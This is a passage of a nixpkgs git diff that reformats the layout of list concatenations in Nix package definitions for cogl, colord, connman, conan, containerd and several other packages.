+    # RPATH of binary /nix/store/.../bin/freedv_rx contains a forbidden reference to /build/
+    "-DCMAKE_SKIP_BUILD_RPATH=ON"
+    "-DCMAKE_C_COMPILER=${stdenv.cc.targetPrefix}cc"
+    "-DCMAKE_CXX_COMPILER=${stdenv.cc.targetPrefix}c++"
+  ]
+  ++ lib.optionals freedvSupport [
+    "-DLPCNET=ON"
+  ];
 
   passthru.tests.pkg-config = testers.testMetaPkgConfig finalAttrs.finalPackage;
 
diff --git a/pkgs/by-name/co/cogl/package.nix b/pkgs/by-name/co/cogl/package.nix
index 76bf395f125d..5b944683a0a6 100644
--- a/pkgs/by-name/co/cogl/package.nix
+++ b/pkgs/by-name/co/cogl/package.nix
@@ -54,50 +54,48 @@ stdenv.mkDerivation rec {
     gobject-introspection
   ];
 
-  configureFlags =
-    [
-      "--enable-introspection"
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      "--enable-kms-egl-platform"
-      "--enable-wayland-egl-platform"
-      "--enable-wayland-egl-server"
-      "--enable-gles1"
-      "--enable-gles2"
-      # Force linking against libGL.
-      # Otherwise, it tries to load it from the runtime library path.
-      "LIBS=-lGL"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      "--disable-glx"
-      "--without-x"
-    ]
-    ++ lib.optionals gstreamerSupport [
-      "--enable-cogl-gst"
-    ];
+  configureFlags = [
+    "--enable-introspection"
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    "--enable-kms-egl-platform"
+    "--enable-wayland-egl-platform"
+    "--enable-wayland-egl-server"
+    "--enable-gles1"
+    "--enable-gles2"
+    # Force linking against libGL.
+    # Otherwise, it tries to load it from the runtime library path.
+    "LIBS=-lGL"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    "--disable-glx"
+    "--without-x"
+  ]
+  ++ lib.optionals gstreamerSupport [
+    "--enable-cogl-gst"
+  ];
 
   # TODO: this shouldn't propagate so many things
   # especially not gobject-introspection
-  propagatedBuildInputs =
-    [
-      glib
-      gdk-pixbuf
-      gobject-introspection
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      wayland
-      libgbm
-      mesa-gl-headers
-      libGL
-      xorg.libXrandr
-      xorg.libXfixes
-      xorg.libXcomposite
-      xorg.libXdamage
-    ]
-    ++ lib.optionals gstreamerSupport [
-      gst_all_1.gstreamer
-      gst_all_1.gst-plugins-base
-    ];
+  propagatedBuildInputs = [
+    glib
+    gdk-pixbuf
+    gobject-introspection
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    wayland
+    libgbm
+    mesa-gl-headers
+    libGL
+    xorg.libXrandr
+    xorg.libXfixes
+    xorg.libXcomposite
+    xorg.libXdamage
+  ]
+  ++ lib.optionals gstreamerSupport [
+    gst_all_1.gstreamer
+    gst_all_1.gst-plugins-base
+  ];
 
   buildInputs = lib.optionals pangoSupport [
     pango
@@ -105,19 +103,18 @@ stdenv.mkDerivation rec {
     harfbuzz
   ];
 
-  env =
-    {
-      COGL_PANGO_DEP_CFLAGS = toString (
-        lib.optionals (stdenv.hostPlatform.isDarwin && pangoSupport) [
-          "-I${pango.dev}/include/pango-1.0"
-          "-I${cairo.dev}/include/cairo"
-          "-I${harfbuzz.dev}/include/harfbuzz"
-        ]
-      );
-    }
-    // lib.optionalAttrs stdenv.cc.isClang {
-      NIX_CFLAGS_COMPILE = "-Wno-error=implicit-function-declaration";
-    };
+  env = {
+    COGL_PANGO_DEP_CFLAGS = toString (
+      lib.optionals (stdenv.hostPlatform.isDarwin && pangoSupport) [
+        "-I${pango.dev}/include/pango-1.0"
+        "-I${cairo.dev}/include/cairo"
+        "-I${harfbuzz.dev}/include/harfbuzz"
+      ]
+    );
+  }
+  // lib.optionalAttrs stdenv.cc.isClang {
+    NIX_CFLAGS_COMPILE = "-Wno-error=implicit-function-declaration";
+  };
 
   #doCheck = true; # all tests fail (no idea why)
 
diff --git a/pkgs/by-name/co/coin3d/package.nix b/pkgs/by-name/co/coin3d/package.nix
index 7246e32fecc8..186a5a3102b0 100644
--- a/pkgs/by-name/co/coin3d/package.nix
+++ b/pkgs/by-name/co/coin3d/package.nix
@@ -26,7 +26,8 @@ stdenv.mkDerivation (finalAttrs: {
     boost
     libGL
     libGLU
-  ] ++ lib.optional stdenv.hostPlatform.isLinux libX11;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux libX11;
 
   cmakeFlags = [ "-DCOIN_USE_CPACK=OFF" ];
 
diff --git a/pkgs/by-name/co/colima/package.nix b/pkgs/by-name/co/colima/package.nix
index 5337a0c85cde..883f68ebc2fb 100644
--- a/pkgs/by-name/co/colima/package.nix
+++ b/pkgs/by-name/co/colima/package.nix
@@ -36,7 +36,8 @@ buildGoModule rec {
   nativeBuildInputs = [
     installShellFiles
     makeWrapper
-  ] ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.DarwinTools ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [ darwin.DarwinTools ];
 
   vendorHash = "sha256-rqCPpO/Va31U++sfELcN1X6oDtDiCXoGj0RHKZUM6rY=";
 
diff --git a/pkgs/by-name/co/collision/package.nix b/pkgs/by-name/co/collision/package.nix
index eb2552c1e097..8531bba760bc 100644
--- a/pkgs/by-name/co/collision/package.nix
+++ b/pkgs/by-name/co/collision/package.nix
@@ -47,15 +47,14 @@ crystal.buildCrystalPackage rec {
   # main_module:(.text+0x6f0): undefined reference to `SSL_library_init'
   # There is an explanation for this https://danilafe.com/blog/crystal_nix_revisited/
   # Shortly, adding pkg-config to buildInputs along with openssl fixes the issue.
-  nativeBuildInputs =
-    [
-      wrapGAppsHook4
-      pkg-config
-      gobject-introspection
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      desktopToDarwinBundle
-    ];
+  nativeBuildInputs = [
+    wrapGAppsHook4
+    pkg-config
+    gobject-introspection
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    desktopToDarwinBundle
+  ];
 
   buildInputs = [
     libadwaita
diff --git a/pkgs/by-name/co/colord-gtk/package.nix b/pkgs/by-name/co/colord-gtk/package.nix
index 7c6895d10d1b..89ad41085954 100644
--- a/pkgs/by-name/co/colord-gtk/package.nix
+++ b/pkgs/by-name/co/colord-gtk/package.nix
@@ -53,20 +53,19 @@ stdenv.mkDerivation rec {
     lcms2
   ];
 
-  propagatedBuildInputs =
-    [
-      colord
-    ]
-    ++ (
-      if withGtk4 then
-        [
-          gtk4
-        ]
-      else
-        [
-          gtk3
-        ]
-    );
+  propagatedBuildInputs = [
+    colord
+  ]
+  ++ (
+    if withGtk4 then
+      [
+        gtk4
+      ]
+    else
+      [
+        gtk3
+      ]
+  );
 
   mesonFlags = [
     "-Dgtk4=${lib.boolToString withGtk4}"
diff --git a/pkgs/by-name/co/colord/package.nix b/pkgs/by-name/co/colord/package.nix
index d3ffa44b89d1..b54175027463 100644
--- a/pkgs/by-name/co/colord/package.nix
+++ b/pkgs/by-name/co/colord/package.nix
@@ -76,45 +76,43 @@ stdenv.mkDerivation rec {
     (lib.mesonBool "udev_rules" (lib.elem "udev" udev.meta.pkgConfigModules))
   ];
 
-  nativeBuildInputs =
-    [
-      docbook_xml_dtd_412
-      docbook_xsl
-      docbook_xsl_ns
-      gettext
-      gobject-introspection
-      gtk-doc
-      libxslt
-      meson
-      ninja
-      pkg-config
-      shared-mime-info
-      vala
-      wrapGAppsNoGuiHook
-    ]
-    ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    docbook_xml_dtd_412
+    docbook_xsl
+    docbook_xsl_ns
+    gettext
+    gobject-introspection
+    gtk-doc
+    libxslt
+    meson
+    ninja
+    pkg-config
+    shared-mime-info
+    vala
+    wrapGAppsNoGuiHook
+  ]
+  ++ lib.optionals (!stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
-  buildInputs =
-    [
-      argyllcms
-      bash-completion
-      dbus
-      glib
-      gusb
-      lcms2
-      libgudev
-      sane-backends
-      sqlite
-      udev
-    ]
-    ++ lib.optionals enableSystemd [
-      systemd
-    ]
-    ++ lib.optionals enableDaemon [
-      polkit
-    ];
+  buildInputs = [
+    argyllcms
+    bash-completion
+    dbus
+    glib
+    gusb
+    lcms2
+    libgudev
+    sane-backends
+    sqlite
+    udev
+  ]
+  ++ lib.optionals enableSystemd [
+    systemd
+  ]
+  ++ lib.optionals enableDaemon [
+    polkit
+  ];
 
   postInstall = ''
     glib-compile-schemas $out/share/glib-2.0/schemas
diff --git a/pkgs/by-name/co/composefs/package.nix b/pkgs/by-name/co/composefs/package.nix
index ac51d2fd5086..add95896414a 100644
--- a/pkgs/by-name/co/composefs/package.nix
+++ b/pkgs/by-name/co/composefs/package.nix
@@ -59,25 +59,25 @@ stdenv.mkDerivation (finalAttrs: {
     go-md2man
     pkg-config
   ];
-  buildInputs =
-    [ openssl ]
-    ++ lib.optional fuseSupport fuse3
-    ++ lib.filter (lib.meta.availableOn stdenv.hostPlatform) ([
-      libcap
-    ]);
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optional fuseSupport fuse3
+  ++ lib.filter (lib.meta.availableOn stdenv.hostPlatform) ([
+    libcap
+  ]);
 
   doCheck = true;
-  nativeCheckInputs =
-    [
-      python3
-      which
-    ]
-    ++ lib.optional enableValgrindCheck valgrind
-    ++ lib.optional fuseSupport fuse3
-    ++ lib.filter (lib.meta.availableOn stdenv.buildPlatform) [
-      erofs-utils
-      fsverity-utils
-    ];
+  nativeCheckInputs = [
+    python3
+    which
+  ]
+  ++ lib.optional enableValgrindCheck valgrind
+  ++ lib.optional fuseSupport fuse3
+  ++ lib.filter (lib.meta.availableOn stdenv.buildPlatform) [
+    erofs-utils
+    fsverity-utils
+  ];
 
   mesonCheckFlags = lib.optionals enableValgrindCheck "--setup=valgrind";
 
diff --git a/pkgs/by-name/co/conan/package.nix b/pkgs/by-name/co/conan/package.nix
index 98c9fe156347..6185462c1f57 100644
--- a/pkgs/by-name/co/conan/package.nix
+++ b/pkgs/by-name/co/conan/package.nix
@@ -54,21 +54,20 @@ python3Packages.buildPythonApplication rec {
     "distro"
   ];
 
-  nativeCheckInputs =
-    [
-      git
-      pkg-config
-      zlib
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [ xcbuild.xcrun ]
-    ++ (with python3Packages; [
-      mock
-      parameterized
-      pytest-xdist
-      pytestCheckHook
-      webtest
-      cmake
-    ]);
+  nativeCheckInputs = [
+    git
+    pkg-config
+    zlib
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [ xcbuild.xcrun ]
+  ++ (with python3Packages; [
+    mock
+    parameterized
+    pytest-xdist
+    pytestCheckHook
+    webtest
+    cmake
+  ]);
 
   dontUseCmakeConfigure = true;
 
@@ -76,29 +75,28 @@ python3Packages.buildPythonApplication rec {
 
   pythonImportsCheck = [ "conan" ];
 
-  disabledTests =
-    [
-      # Tests require network access
-      "TestFTP"
-      # Unstable test
-      "test_shared_windows_find_libraries"
-      # 'cmake' tool version 'Any' is not available
-      "test_build"
-      # 'cmake' tool version '3.27' is not available
-      "test_metabuild"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # Rejects paths containing nix
-      "test_conditional_os"
-      # Requires Apple Clang
-      "test_detect_default_compilers"
-      "test_detect_default_in_mac_os_using_gcc_as_default"
-      # Incompatible with darwin.xattr and xcbuild from nixpkgs
-      "test_dot_files"
-      "test_xcrun"
-      "test_xcrun_in_required_by_tool_requires"
-      "test_xcrun_in_tool_requires"
-    ];
+  disabledTests = [
+    # Tests require network access
+    "TestFTP"
+    # Unstable test
+    "test_shared_windows_find_libraries"
+    # 'cmake' tool version 'Any' is not available
+    "test_build"
+    # 'cmake' tool version '3.27' is not available
+    "test_metabuild"
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # Rejects paths containing nix
+    "test_conditional_os"
+    # Requires Apple Clang
+    "test_detect_default_compilers"
+    "test_detect_default_in_mac_os_using_gcc_as_default"
+    # Incompatible with darwin.xattr and xcbuild from nixpkgs
+    "test_dot_files"
+    "test_xcrun"
+    "test_xcrun_in_required_by_tool_requires"
+    "test_xcrun_in_tool_requires"
+  ];
 
   disabledTestPaths = [
     # Requires cmake, meson, autotools, apt-get, etc.
diff --git a/pkgs/by-name/co/conduktor-ctl/package.nix b/pkgs/by-name/co/conduktor-ctl/package.nix
index b9762a293a56..eecd521e9d67 100644
--- a/pkgs/by-name/co/conduktor-ctl/package.nix
+++ b/pkgs/by-name/co/conduktor-ctl/package.nix
@@ -27,16 +27,15 @@ buildGoModule rec {
     go test ./...
   '';
 
-  postInstall =
-    ''
-      mv $out/bin/ctl $out/bin/conduktor
-    ''
-    + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
-      installShellCompletion --cmd conduktor \
-        --bash <($out/bin/conduktor completion bash) \
-        --fish <($out/bin/conduktor completion fish) \
-        --zsh <($out/bin/conduktor completion zsh)
-    '';
+  postInstall = ''
+    mv $out/bin/ctl $out/bin/conduktor
+  ''
+  + lib.optionalString (stdenv.buildPlatform.canExecute stdenv.hostPlatform) ''
+    installShellCompletion --cmd conduktor \
+      --bash <($out/bin/conduktor completion bash) \
+      --fish <($out/bin/conduktor completion fish) \
+      --zsh <($out/bin/conduktor completion zsh)
+  '';
 
   doInstallCheck = true;
 
diff --git a/pkgs/by-name/co/conduwuit/package.nix b/pkgs/by-name/co/conduwuit/package.nix
index 15ebfc2e3649..9a2ced086343 100644
--- a/pkgs/by-name/co/conduwuit/package.nix
+++ b/pkgs/by-name/co/conduwuit/package.nix
@@ -46,13 +46,12 @@ rustPlatform.buildRustPackage rec {
     rustPlatform.bindgenHook
   ];
 
-  buildInputs =
-    [
-      bzip2
-      zstd
-    ]
-    ++ lib.optional enableJemalloc rust-jemalloc-sys'
-    ++ lib.optional enableLiburing liburing;
+  buildInputs = [
+    bzip2
+    zstd
+  ]
+  ++ lib.optional enableJemalloc rust-jemalloc-sys'
+  ++ lib.optional enableLiburing liburing;
 
   env = {
     ZSTD_SYS_USE_PKG_CONFIG = true;
@@ -65,18 +64,17 @@ rustPlatform.buildRustPackage rec {
   # for available features.
   # We enable all default features except jemalloc and io_uring, which
   # we guard behind our own (default-enabled) flags.
-  buildFeatures =
-    [
-      "brotli_compression"
-      "element_hacks"
-      "gzip_compression"
-      "release_max_log_level"
-      "sentry_telemetry"
-      "systemd"
-      "zstd_compression"
-    ]
-    ++ lib.optional enableJemalloc "jemalloc"
-    ++ lib.optional enableLiburing "io_uring";
+  buildFeatures = [
+    "brotli_compression"
+    "element_hacks"
+    "gzip_compression"
+    "release_max_log_level"
+    "sentry_telemetry"
+    "systemd"
+    "zstd_compression"
+  ]
+  ++ lib.optional enableJemalloc "jemalloc"
+  ++ lib.optional enableLiburing "io_uring";
 
   passthru = {
     updateScript = nix-update-script { };
diff --git a/pkgs/by-name/co/conglomerate/package.nix b/pkgs/by-name/co/conglomerate/package.nix
index c3193a90009a..5c4fc39a8ddc 100644
--- a/pkgs/by-name/co/conglomerate/package.nix
+++ b/pkgs/by-name/co/conglomerate/package.nix
@@ -32,16 +32,15 @@ stdenv.mkDerivation {
     zlib
     bicpl
   ];
-  propagatedBuildInputs =
-    [
-      coreutils
-      minc_tools
-    ]
-    ++ (with perlPackages; [
-      perl
-      GetoptTabular
-      MNI-Perllib
-    ]);
+  propagatedBuildInputs = [
+    coreutils
+    minc_tools
+  ]
+  ++ (with perlPackages; [
+    perl
+    GetoptTabular
+    MNI-Perllib
+  ]);
 
   cmakeFlags = [
     "-DLIBMINC_DIR=${libminc}/lib/cmake"
diff --git a/pkgs/by-name/co/conmon/package.nix b/pkgs/by-name/co/conmon/package.nix
index 52ad5403811f..5cdf2d780249 100644
--- a/pkgs/by-name/co/conmon/package.nix
+++ b/pkgs/by-name/co/conmon/package.nix
@@ -22,16 +22,15 @@ stdenv.mkDerivation rec {
   };
 
   nativeBuildInputs = [ pkg-config ];
-  buildInputs =
-    [
-      glib
-      libseccomp
-      systemd
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isMusl) [
-      glibc
-      glibc.static
-    ];
+  buildInputs = [
+    glib
+    libseccomp
+    systemd
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isMusl) [
+    glibc
+    glibc.static
+  ];
 
   # manpage requires building the vendored go-md2man
   makeFlags = [
diff --git a/pkgs/by-name/co/connectome-workbench/package.nix b/pkgs/by-name/co/connectome-workbench/package.nix
index 6634f29839a2..0f3ed3d244cf 100644
--- a/pkgs/by-name/co/connectome-workbench/package.nix
+++ b/pkgs/by-name/co/connectome-workbench/package.nix
@@ -48,14 +48,13 @@ stdenv.mkDerivation (finalAttrs: {
     libsForQt5.wrapQtAppsHook
   ];
 
-  buildInputs =
-    [
-      libGL
-      libGLU
-    ]
-    ++ (with libsForQt5; [
-      qtbase
-    ]);
+  buildInputs = [
+    libGL
+    libGLU
+  ]
+  ++ (with libsForQt5; [
+    qtbase
+  ]);
   # note: we should be able to unvendor a few libs (ftgl, quazip, qwt) but they aren't detected properly
 
   meta = {
diff --git a/pkgs/by-name/co/connman/package.nix b/pkgs/by-name/co/connman/package.nix
index 1995a54fa143..7990bf6dbef3 100644
--- a/pkgs/by-name/co/connman/package.nix
+++ b/pkgs/by-name/co/connman/package.nix
@@ -79,26 +79,25 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-ElfOvjJ+eQC34rhMD7MwqpCBXkVYmM0vlB9DCO0r47w=";
   };
 
-  patches =
-    [
-      (fetchpatch {
-        name = "CVE-2025-32366.patch";
-        url = "https://git.kernel.org/pub/scm/network/connman/connman.git/patch/?id=8d3be0285f1d4667bfe85dba555c663eb3d704b4";
-        hash = "sha256-kPb4pZVWvnvTUcpc4wRc8x/pMUTXGIywj3w8IYKRTBs=";
-      })
-      (fetchpatch {
-        name = "CVE-2025-32743.patch";
-        url = "https://git.kernel.org/pub/scm/network/connman/connman.git/patch/?id=d90b911f6760959bdf1393c39fe8d1118315490f";
-        hash = "sha256-odkjYC/iM6dTIJx2WM/KKotXdTtgv8NMFNJMzx5+YU4=";
-      })
-    ]
-    ++ optionals stdenv.hostPlatform.isMusl [
-      # Fix Musl build by avoiding a Glibc-only API.
-      (fetchurl {
-        url = "https://git.alpinelinux.org/aports/plain/community/connman/libresolv.patch?id=e393ea84386878cbde3cccadd36a30396e357d1e";
-        hash = "sha256-7Q1bp8rD/gGVYUqnIXqjr9vypR8jlC926p3KYWl9kLw=";
-      })
-    ];
+  patches = [
+    (fetchpatch {
+      name = "CVE-2025-32366.patch";
+      url = "https://git.kernel.org/pub/scm/network/connman/connman.git/patch/?id=8d3be0285f1d4667bfe85dba555c663eb3d704b4";
+      hash = "sha256-kPb4pZVWvnvTUcpc4wRc8x/pMUTXGIywj3w8IYKRTBs=";
+    })
+    (fetchpatch {
+      name = "CVE-2025-32743.patch";
+      url = "https://git.kernel.org/pub/scm/network/connman/connman.git/patch/?id=d90b911f6760959bdf1393c39fe8d1118315490f";
+      hash = "sha256-odkjYC/iM6dTIJx2WM/KKotXdTtgv8NMFNJMzx5+YU4=";
+    })
+  ]
+  ++ optionals stdenv.hostPlatform.isMusl [
+    # Fix Musl build by avoiding a Glibc-only API.
+    (fetchurl {
+      url = "https://git.alpinelinux.org/aports/plain/community/connman/libresolv.patch?id=e393ea84386878cbde3cccadd36a30396e357d1e";
+      hash = "sha256-7Q1bp8rD/gGVYUqnIXqjr9vypR8jlC926p3KYWl9kLw=";
+    })
+  ];
 
   nativeBuildInputs = [
     autoreconfHook
@@ -106,85 +105,83 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      glib
-      dbus
-      libmnl
-      gnutls
-      readline
-    ]
-    ++ optionals (firewallType == "iptables") [ iptables ]
-    ++ optionals (firewallType == "nftables") [ libnftnl ]
-    ++ optionals (enableOpenconnect) [ openconnect ]
-    ++ optionals (enablePolkit) [ polkit ]
-    ++ optionals (enablePptp) [
-      pptp
-      ppp
-    ];
+  buildInputs = [
+    glib
+    dbus
+    libmnl
+    gnutls
+    readline
+  ]
+  ++ optionals (firewallType == "iptables") [ iptables ]
+  ++ optionals (firewallType == "nftables") [ libnftnl ]
+  ++ optionals (enableOpenconnect) [ openconnect ]
+  ++ optionals (enablePolkit) [ polkit ]
+  ++ optionals (enablePptp) [
+    pptp
+    ppp
+  ];
 
   postPatch = ''
     sed -i "s@/usr/bin/file@file@g" ./configure
   '';
 
-  configureFlags =
-    [
-      # directories flags
-      "--sysconfdir=/etc"
-      "--localstatedir=/var"
-    ]
-    ++ [
-      # production build flags
-      (enableFeature false "maintainer-mode")
-      (enableFeatureAs true "session-policy-local" "builtin")
-      # for building and running tests
-      # (enableFeature true "tests") # installs the tests, we don't want that
-      (enableFeature true "tools")
-      (enableFeature enableLoopback "loopback")
-      (enableFeature enableEthernet "ethernet")
-      (enableFeature enableWireguard "wireguard")
-      (enableFeature enableGadget "gadget")
-      (enableFeature enableWifi "wifi")
-      # enable IWD support for wifi as it doesn't require any new dependencies and
-      # it's easier for the NixOS module to use only one connman package when IWD
-      # is requested
-      (enableFeature enableWifi "iwd")
-      (enableFeature enableBluetooth "bluetooth")
-      (enableFeature enableOfono "ofono")
-      (enableFeature enableDundee "dundee")
-      (enableFeature enablePacrunner "pacrunner")
-      (enableFeature enableNeard "neard")
-      (enableFeature enableWispr "wispr")
-      (enableFeature enableTools "tools")
-      (enableFeature enableStats "stats")
-      (enableFeature enableClient "client")
-      (enableFeature enableDatafiles "datafiles")
-      (enableFeature enablePolkit "polkit")
-      (enableFeature enablePptp "pptp")
-      (enableFeature enableWireguard "wireguard")
-      (enableFeature enableNetworkManagerCompatibility "nmcompat")
-      (enableFeature enableHh2serialGps "hh2serial-gps")
-      (enableFeature enableL2tp "l2tp")
-      (enableFeature enableIospm "iospm")
-      (enableFeature enableTist "tist")
-    ]
-    ++ [
-      (enableFeatureAs enableOpenconnect "openconnect" "builtin")
-      (enableFeatureAs enableOpenvpn "openvpn" "builtin")
-      (enableFeatureAs enableVpnc "vpnc" "builtin")
-    ]
-    ++ [
-      (withFeatureAs true "dbusconfdir" "${placeholder "out"}/share")
-      (withFeatureAs true "dbusdatadir" "${placeholder "out"}/share")
-      (withFeatureAs true "tmpfilesdir" "${placeholder "out"}/tmpfiles.d")
-      (withFeatureAs true "systemdunitdir" "${placeholder "out"}/systemd/system")
-      (withFeatureAs true "dns-backend" "${dnsType}")
-      (withFeatureAs true "firewall" "${firewallType}")
-      (withFeatureAs enableOpenconnect "openconnect" "${openconnect}/sbin/openconnect")
-      (withFeatureAs enableOpenvpn "openvpn" "${openvpn}/sbin/openvpn")
-      (withFeatureAs enableVpnc "vpnc" "${vpnc}/sbin/vpnc")
-      (withFeatureAs enablePptp "pptp" "${pptp}/sbin/pptp")
-    ];
+  configureFlags = [
+    # directories flags
+    "--sysconfdir=/etc"
+    "--localstatedir=/var"
+  ]
+  ++ [
+    # production build flags
+    (enableFeature false "maintainer-mode")
+    (enableFeatureAs true "session-policy-local" "builtin")
+    # for building and running tests
+    # (enableFeature true "tests") # installs the tests, we don't want that
+    (enableFeature true "tools")
+    (enableFeature enableLoopback "loopback")
+    (enableFeature enableEthernet "ethernet")
+    (enableFeature enableWireguard "wireguard")
+    (enableFeature enableGadget "gadget")
+    (enableFeature enableWifi "wifi")
+    # enable IWD support for wifi as it doesn't require any new dependencies and
+    # it's easier for the NixOS module to use only one connman package when IWD
+    # is requested
+    (enableFeature enableWifi "iwd")
+    (enableFeature enableBluetooth "bluetooth")
+    (enableFeature enableOfono "ofono")
+    (enableFeature enableDundee "dundee")
+    (enableFeature enablePacrunner "pacrunner")
+    (enableFeature enableNeard "neard")
+    (enableFeature enableWispr "wispr")
+    (enableFeature enableTools "tools")
+    (enableFeature enableStats "stats")
+    (enableFeature enableClient "client")
+    (enableFeature enableDatafiles "datafiles")
+    (enableFeature enablePolkit "polkit")
+    (enableFeature enablePptp "pptp")
+    (enableFeature enableWireguard "wireguard")
+    (enableFeature enableNetworkManagerCompatibility "nmcompat")
+    (enableFeature enableHh2serialGps "hh2serial-gps")
+    (enableFeature enableL2tp "l2tp")
+    (enableFeature enableIospm "iospm")
+    (enableFeature enableTist "tist")
+  ]
+  ++ [
+    (enableFeatureAs enableOpenconnect "openconnect" "builtin")
+    (enableFeatureAs enableOpenvpn "openvpn" "builtin")
+    (enableFeatureAs enableVpnc "vpnc" "builtin")
+  ]
+  ++ [
+    (withFeatureAs true "dbusconfdir" "${placeholder "out"}/share")
+    (withFeatureAs true "dbusdatadir" "${placeholder "out"}/share")
+    (withFeatureAs true "tmpfilesdir" "${placeholder "out"}/tmpfiles.d")
+    (withFeatureAs true "systemdunitdir" "${placeholder "out"}/systemd/system")
+    (withFeatureAs true "dns-backend" "${dnsType}")
+    (withFeatureAs true "firewall" "${firewallType}")
+    (withFeatureAs enableOpenconnect "openconnect" "${openconnect}/sbin/openconnect")
+    (withFeatureAs enableOpenvpn "openvpn" "${openvpn}/sbin/openvpn")
+    (withFeatureAs enableVpnc "vpnc" "${vpnc}/sbin/vpnc")
+    (withFeatureAs enablePptp "pptp" "${pptp}/sbin/pptp")
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/by-name/co/conntrack-tools/package.nix b/pkgs/by-name/co/conntrack-tools/package.nix
index 09b3f4c5825f..e641c0fecdcd 100644
--- a/pkgs/by-name/co/conntrack-tools/package.nix
+++ b/pkgs/by-name/co/conntrack-tools/package.nix
@@ -25,19 +25,18 @@ stdenv.mkDerivation rec {
     hash = "sha256-BnZ39MX2VkgZ547TqdSomAk16pJz86uyKkIOowq13tY=";
   };
 
-  buildInputs =
-    [
-      libmnl
-      libnfnetlink
-      libnetfilter_conntrack
-      libnetfilter_queue
-      libnetfilter_cttimeout
-      libnetfilter_cthelper
-      libtirpc
-    ]
-    ++ lib.optionals systemdSupport [
-      systemd
-    ];
+  buildInputs = [
+    libmnl
+    libnfnetlink
+    libnetfilter_conntrack
+    libnetfilter_queue
+    libnetfilter_cttimeout
+    libnetfilter_cthelper
+    libtirpc
+  ]
+  ++ lib.optionals systemdSupport [
+    systemd
+  ];
   nativeBuildInputs = [
     flex
     bison
diff --git a/pkgs/by-name/co/conserver/package.nix b/pkgs/by-name/co/conserver/package.nix
index cb741ecc4590..d522c939b74e 100644
--- a/pkgs/by-name/co/conserver/package.nix
+++ b/pkgs/by-name/co/conserver/package.nix
@@ -38,23 +38,23 @@ stdenv.mkDerivation rec {
 
   nativeBuildInputs = [ autoreconfHook ];
 
-  buildInputs =
-    [ libxcrypt ]
-    ++ lib.optionals freeipmiSupport [ freeipmi ]
-    ++ lib.optionals gssapiSupport [ libkrb5 ]
-    ++ lib.optionals opensslSupport [ openssl ];
+  buildInputs = [
+    libxcrypt
+  ]
+  ++ lib.optionals freeipmiSupport [ freeipmi ]
+  ++ lib.optionals gssapiSupport [ libkrb5 ]
+  ++ lib.optionals opensslSupport [ openssl ];
 
-  configureFlags =
-    [
-      "--with-ccffile=/dev/null"
-      "--with-cffile=/dev/null"
-    ]
-    ++ lib.optionals freeipmiSupport [ "--with-freeipmi=${freeipmi}/include" ]
-    ++ lib.optionals gssapiSupport [ "--with-gssapi=${libkrb5.dev}/include" ]
-    ++ lib.optionals ipv6Support [ "--with-ipv6" ]
-    ++ lib.optionals opensslSupport [ "--with-openssl=${openssl.dev}/include" ]
-    ++ lib.optionals trustUdsCredSupport [ "--with-trust-uds-cred" ]
-    ++ lib.optionals udsSupport [ "--with-uds" ];
+  configureFlags = [
+    "--with-ccffile=/dev/null"
+    "--with-cffile=/dev/null"
+  ]
+  ++ lib.optionals freeipmiSupport [ "--with-freeipmi=${freeipmi}/include" ]
+  ++ lib.optionals gssapiSupport [ "--with-gssapi=${libkrb5.dev}/include" ]
+  ++ lib.optionals ipv6Support [ "--with-ipv6" ]
+  ++ lib.optionals opensslSupport [ "--with-openssl=${openssl.dev}/include" ]
+  ++ lib.optionals trustUdsCredSupport [ "--with-trust-uds-cred" ]
+  ++ lib.optionals udsSupport [ "--with-uds" ];
 
   # Disabled due to exist upstream cases failing 8/15 tests
   doCheck = false;
diff --git a/pkgs/by-name/co/containerd/package.nix b/pkgs/by-name/co/containerd/package.nix
index 355d3ce4241f..cac2dfd530a7 100644
--- a/pkgs/by-name/co/containerd/package.nix
+++ b/pkgs/by-name/co/containerd/package.nix
@@ -21,7 +21,8 @@ buildGoModule rec {
   outputs = [
     "out"
     "doc"
-  ] ++ lib.optional withMan "man";
+  ]
+  ++ lib.optional withMan "man";
 
   src = fetchFromGitHub {
     owner = "containerd";
@@ -38,7 +39,8 @@ buildGoModule rec {
 
   nativeBuildInputs = [
     util-linux
-  ] ++ lib.optional withMan go-md2man;
+  ]
+  ++ lib.optional withMan go-md2man;
 
   buildInputs = lib.optional btrfsSupport btrfs-progs;
 
@@ -55,7 +57,8 @@ buildGoModule rec {
   installTargets = [
     "install"
     "install-doc"
-  ] ++ lib.optional withMan "install-man";
+  ]
+  ++ lib.optional withMan "install-man";
 
   buildPhase = ''
     runHook preBuild
diff --git a/pkgs/by-name/co/contour/package.nix b/pkgs/by-name/co/contour/package.nix
index d26ce03f12da..2d3ddf2f9e48 100644
--- a/pkgs/by-name/co/contour/package.nix
+++ b/pkgs/by-name/co/contour/package.nix
@@ -52,53 +52,52 @@ stdenv.mkDerivation (finalAttrs: {
     file
     qt6.wrapQtAppsHook
     installShellFiles
